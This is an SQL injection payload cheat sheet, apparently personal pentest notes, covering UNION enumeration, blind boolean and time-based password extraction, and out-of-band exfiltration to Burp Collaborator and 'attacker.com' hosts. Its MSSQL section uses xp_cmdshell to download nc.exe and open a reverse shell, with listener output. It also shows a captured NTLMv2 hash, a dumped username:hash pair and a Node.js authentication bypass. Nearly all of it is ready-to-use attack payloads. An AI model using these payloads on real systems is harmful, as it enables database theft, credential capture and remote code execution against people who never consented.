SQL Injection

Standard Cheatsheet

Burp Cheat Sheet

Determine database version

' UNION SELECT @@version                       (MySQL, MSSQL, MariaDB)
' UNION SELECT version()                       (PostgreSQL)
' SELECT * FROM v$version                      (Oracle)
' UNION SELECT BANNER,NULL FROM+ v$version--   (Oracle)

List tables

// PostgreSQL, MySQL, MSSQL
' UNION SELECT * FROM information_schema.tables--
' UNION SELECT table_name FROM information_schema.tables--

// Oracle
' SELECT * FROM all_Tables
' SELECT table_name FROM all_Tables

List columns

// PostgreSQL, MySQL, MSSQL
' UNION SELECT * FROM information_schema.columns WHERE table_name = 'users'
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

// Oracle
' SELECT * from all_tab_columns where table_name='USERS'
' SELECT column_name from all_tab_columns where table_name='USERS'

Get data from columns

// PostgreSQL, MySQL, MSSQL
' UNION SELECT concat(username,':',password) FROM users--

// Oracle
' UNION SELECT NULL,CONCAT(USERNAME_IWCQRK,PASSWORD_EZRXUN) from USERS_WBJRGG--

Number of columns

// MySQL and MSSQL (Try with comment # or --)
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3

OR

// MySQL and MSSQL (Try with comment # or --)
' UNION SELECT NULL-- 
' UNION SELECT NULL,NULL-- 
' UNION SELECT NULL,NULL,NULL--

OR

// Oracle (Try with comment ; or --)
' UNION SELECT NULL FROM v$version--
' UNION SELECT NULL,NULL from v$version--
' UNION SELECT NULL,NULL,NULL from v$version--

Find column with useful data type

' UNION SELECT 'a',NULL,NULL,NULL-- 
' UNION SELECT NULL,'a',NULL,NULL-- 
' UNION SELECT NULL,NULL,'a',NULL-- 
' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

Substring

// PostgreSQL, MySQL, MSSQL
' SUBSTRING('foobar', 4, 2)    (Returns 'ba')
' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),20,1) = 'a

// Oracle
' SUBSTR('foobar', 4, 2)       (Returns 'ba')

Case

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Examples:

// Verify user 'administrator' in table 'users' (Oracle)
UNION SELECT CASE WHEN (username = 'administrator') THEN to_char(1/0) ELSE NULL END FROM users--

// Loop through password for user (Oracle)
UNION SELECT CASE WHEN (username = 'administrator' AND SUBSTR(password,1,1) = 'a') THEN to_char(1/0) ELSE NULL END FROM users--

Time delay

// Oracle
dbms_pipe.receive_message(('a'),10) 
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual 

// MSSQL
WAITFOR DELAY '0:0:10' 
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' 

// PostgreSQL
SELECT pg_sleep(10)
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
Cookie: TrackingId=abc'||pg_sleep(10)--
Cookie: TrackingId=abc'||(SELECT pg_sleep(10))--
Cookie: TrackingId=abc'||(SELECT CASE WHEN (username = 'administrator') THEN pg_sleep(5) ELSE NULL END FROM users)--
Cookie: TrackingId=abc'||(SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password,1,1) = 'a') THEN pg_sleep(3) ELSE NULL END FROM users)--


// MySQL
SELECT SLEEP(10)
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') 
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Out-of-Band techniques

Oracle

// XXE to trigger a DNS lookup. Patched but work on older installations.
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--

// XXE + exfil
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.ewel1ekasfo1ftfihwmt30du4lacy4vsk.oastify.com/"> %remote;]>'),'/l') FROM dual--

//Works on fully patched installations, but requires elevated privileges. Functions UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB & DBMS_LDAP.INIT all perform name resolution so either should be fine.
SELECT UTL_INADDR.GET_HOST_ADDRESS('BURP-COLLABORATOR-SUBDOMAIN')--

// Fully patched name resolution + exfil
SELECT DBMS_LDAP.INIT((SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN',80) FROM DUAL--

MSSQL

exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'--

MySQL

// Windows Only
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

// Exfil
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='Administrator'), '.attacker.com'));
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

MSSQL

Stacked Queries

xp_dirtree to return a user hash:

user';declare @q varchar(99);set @q='\\192.168.101.225\test';exec xp_dirtree @q--

[*] [NBT-NS] Poisoned answer sent to 192.168.101.10 for name WORKGROUP (service: Local Master Browser)
[SMB] NTLMv2-SSP Client   : 10.0.50.46
[SMB] NTLMv2-SSP Username : DOMAIN\username.a
[SMB] NTLMv2-SSP Hash     : username.a::DOMAIN:2c9d2bf2c4aee111:914CBA6559A82ED310F1526365BC7E8B:0101000000000000003912BC60F8D901D9DD364CA4512AAB0000000002000800580033004B00330001001E00570049004E002D005A0050004D00370036003100460042004A0048004F0004003400570049004E002D005A0050004D00370036003100460042004A0048004F002E00580033004B0033002E004C004F00430041004C0003001400580033004B0033002E004C004F00430041004C0005001400580033004B0033002E004C004F00430041004C0007000800003912BC60F8D90106000400020000000800300030000000000000000000000000300000FCC02A139AFEB40D5BE3A99CF257E567693CB2BAD8EC9ED3E663CBCD7F65F0AC0A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100300031002E003200320035000000000000000000

Execute code with xp_cmdshell:

## Download nc.exe
1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell "powershell.exe wget http://192.168.101.225/nc.exe -OutFile c:\\Users\\Public\\nc.exe";--

lab ➜ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.50.46 - - [06/Oct/2023 14:50:54] "GET /nc.exe HTTP/1.1" 200 -

## Create reverse shell
1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell "c:\\Users\\Public\\nc.exe -e cmd.exe 192.168.101.225 4488";--

lab ➜ nc -lvnp 443 
listening on [any] 443 ...
connect to [192.168.101.225] from (UNKNOWN) [10.0.50.46] 51764
Microsoft Windows [Version 10.0.17763.2145]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
domain\username.a

MariaDB / MySQL

Dump username and password from table user:

1'UNION SELECT 1,group_concat(username,0x3a,password),3 FROM user-- -
james_mason:fc895d4eddc2fc12f995e18c865cf273

Update table

mysql> update <tableName> set <columnName> = "/etc/passwd";
Query OK, 1 row affected (0.00 sec)

Node.js

Authentication Bypass

More information here.

username=admin&password[password]=1

Last updated